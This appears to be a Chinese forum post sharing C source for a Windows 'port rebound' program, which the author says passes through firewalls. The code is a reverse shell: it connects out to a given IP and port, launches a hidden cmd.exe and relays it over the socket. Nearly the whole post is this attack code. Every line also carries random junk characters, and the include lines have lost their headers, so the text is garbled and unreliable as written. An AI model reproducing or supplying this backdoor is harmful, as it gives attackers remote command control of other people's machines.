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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 GW(-'V/  
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/* ============================== <?TJ-   
Rebound port in Windows NT &<u pjb  
By wind,2006/7 $j~oB:3n7  
===============================*/ _n3Jf<Y  
#include Oc]&1>M  
#include I:~L!%  
z"eh.&T  
#pragma comment(lib,"wsock32.lib") J6!t"eB+  
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void OutputShell(); g>[|/z P  
SOCKET sClient; W biUz2)  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; UeRx ^  
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void main(int argc,char **argv) kUJ\AK  
{ GQ-o wH]  
WSADATA stWsaData; dwc$?Bg,5  
int nRet; YLlw:jN  
SOCKADDR_IN stSaiClient,stSaiServer; }G8RJxy  
5T[9|zJs  
if(argc != 3) 328(W  
{ ':7%@2Zo  
printf("Useage:\n\rRebound DestIP DestPort\n"); `TkI yGr  
return; x*#F|N4~',  
} u+]v. Mt  
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WSAStartup(MAKEWORD(2,2),&stWsaData); zS:89y<  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t[6g9e$  
;+-$=l3[a  
stSaiClient.sin_family = AF_INET; -(n[^48K  
stSaiClient.sin_port = htons(0); qj71 rj  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ru?Ue4W^b  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .P=uR8  
{ 9?*BN\E5S  
printf("Bind Socket Failed!\n"); Z_qs_/y  
return; b; SFnZa8  
} S.+)">buH  
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stSaiServer.sin_family = AF_INET; SnbH`\U"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (k"oV>a|  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N(?yOB4gt  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Z6&s 6MF  
{ N0c+V["s  
printf("Connect Error!"); `8F%bc54iw  
return; ZkYc9!anY  
} D PnKr/  
OutputShell(); {uO8VL5+Qx  
} x8T5aS  
 ]{OEU]I@  
void OutputShell() XN"V{;OP1  
{ ?lb1K'(  
char szBuff[1024]; Gvt.m&_  
SECURITY_ATTRIBUTES stSecurityAttributes; nzDS  
OSVERSIONINFO stOsversionInfo; I~S`'()J  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .2hQ!)+  
STARTUPINFO stStartupInfo; f8! PeQ?  
char *szShell; l;L&ijTQD  
PROCESS_INFORMATION stProcessInformation; oll~|J^sg  
unsigned long lBytesRead; (Jf i 3 m  
v&(X& q  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0D>~uNcT}  
}H{{@RU  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1vu4}%nD  
stSecurityAttributes.lpSecurityDescriptor = 0; 8\8uXOS  
stSecurityAttributes.bInheritHandle = TRUE; gQ h0-Dnw  
]Bs ?  
OgrUP  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;T6^cS{Gj  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); v,RLN`CID  
~}4o=O(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^h^2='p  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +byw*Kk  
stStartupInfo.wShowWindow = SW_HIDE; !23W=N}82  
stStartupInfo.hStdInput = hReadPipe; BzA(yCu$:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "zw?AC6  
Ul[>LKFY  
GetVersionEx(&stOsversionInfo); p;j$i6YJ  
0|{U"\  
switch(stOsversionInfo.dwPlatformId) 6mEW*qp2F  
{ `q eL$`  
case 1: NV;5T3  
szShell = "command.com"; y wk;  
break; Qd!;CoOmZs  
default: ,I=Cl mR  
szShell = "cmd.exe"; $X9Ban]  
break; (k M\R|  
} vD) LRO Z  
v%&f00  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); C3 0b}2  
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send(sClient,szMsg,77,0); "JVz v U]  
while(1) 5%?La`C9[  
{ P,iLqat  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )X\.Xr-6q  
if(lBytesRead) * @G4i  
{ 5G){7]P+r"  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *^c4q|G.-  
send(sClient,szBuff,lBytesRead,0); [ZURs3q  
} /^uvY  
else Njq#@*>[p  
{ 2O9dU 5b  
lBytesRead=recv(sClient,szBuff,1024,0); ACl:~7;  
if(lBytesRead<=0) break; \\hZlCV,  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); GQ|kcY=  
} -5v c0"?E  
} z}C#+VhQ`  
N,'JQch},8  
return; (L|SE4  
}
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